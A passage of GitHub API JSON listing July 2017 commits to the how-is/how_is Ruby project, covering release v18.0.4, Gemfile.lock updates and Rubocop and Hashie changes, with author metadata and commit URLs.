Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-14T23:42:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-14T23:42:03Z"},"message":"Rubocop 0.49.1","tree":{"sha":"53b3160eb8843794ff998101d04a65112e514ed3","url":"https://api.github.com/repos/how-is/how_is/git/trees/53b3160eb8843794ff998101d04a65112e514ed3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","html_url":"https://github.com/how-is/how_is/commit/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"}]},{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWI1ZDc2YjIxZDE1YThmMGY0ZTRhNDhiNDU1OTcwMDAxOTk0MzU2OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T18:20:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T18:20:08Z"},"message":"Merge pull request #171 from how-is/release-v18-0-4\n\nRelease v18 0 4","tree":{"sha":"e37cf4a070b4271b3be09b964f2da68c38be7d6c","url":"https://api.github.com/repos/how-is/how_is/git/trees/e37cf4a070b4271b3be09b964f2da68c38be7d6c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"12cf047737e54098744a9c330c32e03e58b0f089","url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089","html_url":"https://github.com/how-is/how_is/commit/12cf047737e54098744a9c330c32e03e58b0f089"},{"sha":"522ce05cd5f35a54d4073daba0ed572c19a21c40","url":"https://api.github.com/repos/how-is/how_is/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40","html_url":"https://github.com/how-is/how_is/commit/522ce05cd5f35a54d4073daba0ed572c19a21c40"}]},{"sha":"522ce05cd5f35a54d4073daba0ed572c19a21c40","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTIyY2UwNWNkNWYzNWE1NGQ0MDczZGFiYTBlZDU3MmMxOWEyMWM0MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:11:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:11:32Z"},"message":"update Gemfile.lock.","tree":{"sha":"e37cf4a070b4271b3be09b964f2da68c38be7d6c","url":"https://api.github.com/repos/how-is/how_is/git/trees/e37cf4a070b4271b3be09b964f2da68c38be7d6c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40","html_url":"https://github.com/how-is/how_is/commit/522ce05cd5f35a54d4073daba0ed572c19a21c40","comments_url":"https://api.github.com/repos/how-is/how_is/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","url":"https://api.github.com/repos/how-is/how_is/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","html_url":"https://github.com/how-is/how_is/commit/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700"}]},{"sha":"9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWMzNGZmMGIwYmQyZTJiZTdlN2QxZjc2YjE4MzE2N2U0ZjE0YzcwMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:05:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:09:03Z"},"message":"v18.0.4","tree":{"sha":"df8be16f4bb75124521635a3d59ba7038bf0f456","url":"https://api.github.com/repos/how-is/how_is/git/trees/df8be16f4bb75124521635a3d59ba7038bf0f456"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","html_url":"https://github.com/how-is/how_is/commit/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb147cc2eb499b9450fca340ab47fce5f9417745","url":"https://api.github.com/repos/how-is/how_is/commits/bb147cc2eb499b9450fca340ab47fce5f9417745","html_url":"https://github.com/how-is/how_is/commit/bb147cc2eb499b9450fca340ab47fce5f9417745"}]},{"sha":"bb147cc2eb499b9450fca340ab47fce5f9417745","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmIxNDdjYzJlYjQ5OWI5NDUwZmNhMzQwYWI0N2ZjZTVmOTQxNzc0NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:05:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:09:03Z"},"message":"update changelog","tree":{"sha":"14e969f902929a7da4b97ff66a30a7632514f33a","url":"https://api.github.com/repos/how-is/how_is/git/trees/14e969f902929a7da4b97ff66a30a7632514f33a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bb147cc2eb499b9450fca340ab47fce5f9417745","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bb147cc2eb499b9450fca340ab47fce5f9417745","html_url":"https://github.com/how-is/how_is/commit/bb147cc2eb499b9450fca340ab47fce5f9417745","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bb147cc2eb499b9450fca340ab47fce5f9417745/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"12cf047737e54098744a9c330c32e03e58b0f089","url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089","html_url":"https://github.com/how-is/how_is/commit/12cf047737e54098744a9c330c32e03e58b0f089"}]},{"sha":"12cf047737e54098744a9c330c32e03e58b0f089","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTJjZjA0NzczN2U1NDA5ODc0NGE5YzMzMGMzMmUwM2U1OGIwZjA4OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T16:56:54Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T16:56:54Z"},"message":"Merge pull request #170 from how-is/use-latest-hashie\n\nUse Hashie stable; update Gemfile/add Gemfile.lock","tree":{"sha":"c5e36ec8c61f56e28f8e31e6293248c72202db23","url":"https://api.github.com/repos/how-is/how_is/git/trees/c5e36ec8c61f56e28f8e31e6293248c72202db23"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/12cf047737e54098744a9c330c32e03e58b0f089","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089","html_url":"https://github.com/how-is/how_is/commit/12cf047737e54098744a9c330c32e03e58b0f089","comments_url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"4ee91c664d956a303742c66774d738a9ca5c9156","url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156","html_url":"https://github.com/how-is/how_is/commit/4ee91c664d956a303742c66774d738a9ca5c9156"},{"sha":"ca430458aa4f2ad3696ff77f3281004205a3b84e","url":"https://api.github.com/repos/how-is/how_is/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e","html_url":"https://github.com/how-is/how_is/commit/ca430458aa4f2ad3696ff77f3281004205a3b84e"}]},{"sha":"ca430458aa4f2ad3696ff77f3281004205a3b84e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2E0MzA0NThhYTRmMmFkMzY5NmZmNzdmMzI4MTAwNDIwNWEzYjg0ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:19:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:19:37Z"},"message":"handle ./vendor, because apparently Travis vendors gems now.","tree":{"sha":"c5e36ec8c61f56e28f8e31e6293248c72202db23","url":"https://api.github.com/repos/how-is/how_is/git/trees/c5e36ec8c61f56e28f8e31e6293248c72202db23"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e","html_url":"https://github.com/how-is/how_is/commit/ca430458aa4f2ad3696ff77f3281004205a3b84e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","url":"https://api.github.com/repos/how-is/how_is/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","html_url":"https://github.com/how-is/how_is/commit/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3"}]},{"sha":"4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDg3MGZkYWY0MmVmNmQ5MDNmNDcyNmEyNGU5MjEyZGNiYjJlODFhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:06:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:06:20Z"},"message":"Use Hashie stable; update Gemfile/add Gemfile.lock","tree":{"sha":"ded427c925fe74b23a1bed8fd55fa2e9a4845703","url":"https://api.github.com/repos/how-is/how_is/git/trees/ded427c925fe74b23a1bed8fd55fa2e9a4845703"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","html_url":"https://github.com/how-is/how_is/commit/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4ee91c664d956a303742c66774d738a9ca5c9156","url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156","html_url":"https://github.com/how-is/how_is/commit/4ee91c664d956a303742c66774d738a9ca5c9156"}]},{"sha":"4ee91c664d956a303742c66774d738a9ca5c9156","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGVlOTFjNjY0ZDk1NmEzMDM3NDJjNjY3NzRkNzM4YTljYTVjOTE1Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T16:01:31Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T16:01:31Z"},"message":"Merge pull request #169 from how-is/enable-warnings-rake-spec\n\nPass -w to Ruby when running ''rake spec''.","tree":{"sha":"c66839c7f9947cf8a9b426044e52f8a36ecf66e5","url":"https://api.github.com/repos/how-is/how_is/git/trees/c66839c7f9947cf8a9b426044e52f8a36ecf66e5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4ee91c664d956a303742c66774d738a9ca5c9156","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156","html_url":"https://github.com/how-is/how_is/commit/4ee91c664d956a303742c66774d738a9ca5c9156","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f1ae158305ecb464bb00ceeed211c2129d678cd2","url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","html_url":"https://github.com/how-is/how_is/commit/f1ae158305ecb464bb00ceeed211c2129d678cd2"},{"sha":"b0424e5105516176e2a4acfb6d3077ce8834c3c7","url":"https://api.github.com/repos/how-is/how_is/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7","html_url":"https://github.com/how-is/how_is/commit/b0424e5105516176e2a4acfb6d3077ce8834c3c7"}]},{"sha":"b0424e5105516176e2a4acfb6d3077ce8834c3c7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjA0MjRlNTEwNTUxNjE3NmUyYTRhY2ZiNmQzMDc3Y2U4ODM0YzNjNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:51Z"},"message":"don''t use parallel assignment.","tree":{"sha":"c66839c7f9947cf8a9b426044e52f8a36ecf66e5","url":"https://api.github.com/repos/how-is/how_is/git/trees/c66839c7f9947cf8a9b426044e52f8a36ecf66e5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7","html_url":"https://github.com/how-is/how_is/commit/b0424e5105516176e2a4acfb6d3077ce8834c3c7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starre